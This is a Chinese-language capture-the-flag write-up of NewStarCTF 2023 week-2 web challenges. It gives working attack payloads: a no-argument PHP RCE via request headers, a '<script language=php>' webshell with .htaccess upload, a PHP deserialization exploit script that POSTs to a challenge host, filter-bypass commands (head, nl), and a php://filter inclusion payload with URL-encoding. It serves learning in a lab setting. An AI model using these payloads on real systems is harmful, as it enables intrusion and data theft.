NewStarCTF2023-week2-web题wp

芜湖!!

第一次ak完整的web题,激动的心,颤抖的手,嗨嗨嗨,我来写一下wp,就从最折磨我的也是刚做完的rce题开始。

一、R!!C!!E!!

这题点进环境发现提示有泄露信息,但是没有其他任何提示。

既然没有提示,那就遇事不决先扫一下试试:

扫到有.git/HEAD,猜测是git泄露,Google一下搜到一个工具GitHack,很好用,下载地址和使用说明如下lijiejie/GitHack: A `.git folder disclosure exploit (github.com)

然后直接运行脚本,发现已经把泄露的文件下载到本地了,这就是源码和flag的位置。

源码如下,就是rce了,然后查看start.sh,发现flag在根目录下面/flag的位置,那就先看代码如何rce

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

最折磨我的地方就是这个正则表达式,网上搜不到具体的原理,但是有相关的题,反正意思就是你的输入只能是a(b(c()))这样的套娃类型,才会被正则表达式识别,最后只剩下“ ; ”,这个正则表达式我在在线正则表达式匹配器上都显示语法错误,不知道为啥到了php里面就这样了。但这个记住就好,如果限制a(b(c()))这样的类型只有这一种写法,应该是只会在题里面出现,真实环境里面应该没有开发者闲得蛋疼用这个正则表达式。然后这种类型的题就是无参数rce,应该还挺常见的。

1.无参数rce

可以看看这篇文章,讲的还挺全面的RCE篇之无参数rce | Arsene.Tang (arsenetang.com)

以后有空我也要开一个这样的专题讲一讲(新的flag出现了)

这题比较逆天,因为目前的很多无参数rce的博客里面用到的核心主力就是scandir这个函数,用来获取文件名来执行,但是这题给禁用了,不仅禁了这个还禁了其他的很多东西,当时我就觉得这就很难办了啊。【CTF竞赛】无参数RCE总结-阿里云开发者社区 (aliyun.com)然后我又在这篇文章里面发现了新的思路,可以通过输出请求头来实现远程rce。

具体思路就是先getallheaders()函数获得请求头,发现有回显,如下

2.构造payload

这样就可以想法往请求头里面填恶意代码了,经过测试发现cookie可以实现上述目标,如下

发现cookie会显示在回显数组中,这样我们就可以想办法提取出数组中cookie的值就可以实现rce了,然后就会用到两个魔法函数array_rand()和array_flip(),其中array_rand是可以取出数组的键名,但是缺点是随机生成的,需要一点运气。但是本题中数组中的键值是cookie,这种情况下就需要另一个函数array_flip(),这个函数可以实现数组的键值和值互换,这样就实现了我们想要的功能,所以到这步的payload为

1
print_r(array_rand(array_flip(getallheaders())))

这时候应该会随机输出键名,有机会出现我们注入的恶意代码,如下

所以我们就可以把print_r改成eval函数实现注入了!

最终就可以输出flag,get flag!

二、Upload again!

打开网页,发现是很抽象的文件上传

按照文件上传的老套路,先上传一个正常的jpg文件试试,结果发现报错了??显示我上传的文件是php文件,wtf。很迷惑,在抓到的包中直接将2.jpg改成2.php也会被过滤,最后我把文件内容全删了,只上传一个空文件却发现过了,成功上传,然后我又用一个啥也没有的空文件试,发现成功了。这题这里服务器好像出了问题,上传文件就会显示500错误码

所以我就大概讲讲原理就好

这题经过测试发现过滤了“ ? ” 这个符号,也就是只要我上传的数据里面有问号就会被认为是php文件,但是并没有过滤php这个字符串,所以就简单了,参考我之前写的文章,主要就是利用了.htaccess文件上传,使得jpg文件或者png文件被当做php文件来解析,这样就可以用蚁剑连接了。但是?被过滤了该怎么在jpg文件里面写入一句话代码呢?没办法之后继续Google,发现了另一种php代码的书写方法,参考下面这篇文章

php一句话木马变形技巧_php get一句话-CSDN博客

如下:

1
<script language="php">@eval_r($_GET[b])</script>

就是利用script代替标签,这样就绕过了对?的过滤限制,最后就可以用蚁剑连接了。

三、Unserialize?

看题目就知道是反序列化,打开题目有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

显然是反序列化并且是有一定的过滤,对于反序列化我之前的这篇小总结文章已经讲过,既然是反序列化,那就先写代码,输出序列化之后的值,而且要注意private类型的两侧有\00,这个是无法输出也无法复制的,上次的题是因为有base64编码导致可以复制,但是这题没有,显然就只能生成完了通过代码发往服务器,没办法只能在网上搜了一个php通用的类似python request的函数,剩下的就是反序列化的老生常谈了,把object数量改成大于正常数量,同时把恶意代码放入evil类的cmd中,就会触发destruct函数并执行我们的恶意代码,实现反序列化注入,同时还要绕过正则表达式,最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
function send_post($url, $post_data) {
$postdata = http_build_query($post_data);
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $postdata,
'timeout' => 15 * 60 // 超时时间(单位:s)
)
);
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
return $result;
}

class evil {
private $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
echo 'get it';
}
}
function __wakeup() {
if ($this->cmd != 'index.php') {
//the secret is in the fl4g.php
$this->cmd = 'index.php';
}
}
}
$c = new evil("ls /");
$a = serialize($c);

//$a = str_replace("O:4","O:+4",$a);
$a = str_replace(":1:",":2:",$a);
echo $a;
$post_data=array('unser' => $a);
$text=send_post("http://e80e149a-1640-4d65-bae5-d3e742351d5b.node4.buuoj.cn:81/",$post_data);
echo $text;
//print(serialize($c));
//var_dump(base64_encode($a));
?>

运行一下发现成功注入,服务器端执行了我们的ls代码,并且发现了flag文件,这样就简单了

想办法打开flag文件就行,这里发现题中过滤了很多打开函数,但是没有过滤全,这里补一下知识:

1
2
3
4
5
6
7
cat:从第一行开始显示文本内容(适用于内容较少的)
tac:从最后一行开始显示,是 cat 的逆顺序
more:一页一页的显示文本内容(适用于内容较多的)
less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
head:只看文本的前面几行
tail:只看文本的后面几行
nl:显示文本内容与行号

所以只需要找没有被过滤的命令就可以拿到flag了,经过测试 head和nl都可以,但是less不可以,也不知道为什么。

四、ez_sql

这题就是简单的用sqlmap注入一下就可以拿到flag,彻彻底底的脚本小子(doge),所以这题我先不在这里写,之后我会开一个sql注入的专题,到时候再讲

五、include 0。0

根据题目描述,显然是文件包含漏洞,打开题目,代码如下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

代码很少很简单,很容易分析代码,同时还告诉你了flag的位置,那我们需要的就是通过include漏洞来显示flag.php的内容。这个类型我之前也写过,但是没有写专题,之后也会写的,可以参考这篇文章✔PHP文件包含漏洞全面总结 - Zeker62 - 博客园 (cnblogs.com)

其中的php://input被禁用了,无法使用,同时题里面过滤了base和rot,反向也能推断出这里可以用php://filter来实现,通用模式如下

1
2
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
?filename=php://filter/convert.base64-encode/resource=xxx.php

所以这题我们就可以用:

?file=php://filter/read=convert.base64-encode/resource=flag.php

但是base被过滤了我们怎么办,这里我是把base中的a改成url编码形式的%61,这样发现就可以绕过了并且include成功执行,输出flag的base64编码,解码一下拿到flag

但是为什么把a变成%61就可以在include中执行?这个我确实不太了解,等题解出了我再看看

六、游戏高手

这题顾名思义就是打游戏doge,进入环境发现就是个打飞机游戏,并且提示到10万分就会给我flag

没什么线索就先抓包一下看看,发现打开文件的过程中打开了一个js文件,并且里面是游戏的实现代码

拜读一下代码,发现还是没什么线索,这时候没办法,直接Google

关键词: ctf web js游戏,发现了能用控制台控制游戏,这就有意思了,如图

哪怕我并没有死亡,但是通过读完源代码,了解了一些重要函数之后,输入gameover函数之后就会立即结束游戏,这就说明我可以通过控制台来控制我的分数,那我就直接让score=10万分,发现可以!然后直接gameover,就会出现flag

加上10万分(开挂了doge)然后就直接结束游戏,显示flag

七、总结

以上就是这次比赛week2的全部web题了,很兴奋竟然全做出来了。具体知识点我每道题都写了。

**本文完**。